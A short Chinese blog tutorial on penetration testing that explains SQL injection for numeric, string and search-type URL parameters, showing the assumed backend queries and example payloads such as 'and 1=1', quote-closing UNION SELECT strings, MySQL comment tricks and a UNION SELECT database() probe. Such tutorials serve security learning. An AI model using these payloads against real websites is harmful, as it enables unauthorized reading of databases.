美文网首页
【渗透测试】-SQL注入之参数型注入

【渗透测试】-SQL注入之参数型注入

作者: lndyzwdxhs | 来源:发表于2017-08-13 18:34 被阅读19次

    1、数字型参数
    URL:blog.yangliu.date/index.php?id=1
    SQL:select * from admin where page=$id
    和之前的判断方法一样,直接后边添加and 1=1来判断

    2、字符型参数
    URL:blog.yangliu.date/index.php?name=帅
    SQL:select from admin where username=’$name’
    需要对单引号进行闭合:blog.yangliu.date/index.php?name=帅‘ union select 1,2,3 —
    巧用mysql注释:– # /**/

    3、搜索型参数
    URL:blog.yangliu.date/index.php?search=帅 ————>搜索框
    SQL:select * from admin where username like ‘%$search%’ order by username
    需要对单引号和百分号进行闭合:blog.yangliu.date/index.php?search=帅%’ union select database(),2,3 and ‘%’=’


    欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。


    相关文章

      网友评论

          本文标题:【渗透测试】-SQL注入之参数型注入

          本文链接:https://www.haomeiwen.com/subject/xhperxtx.html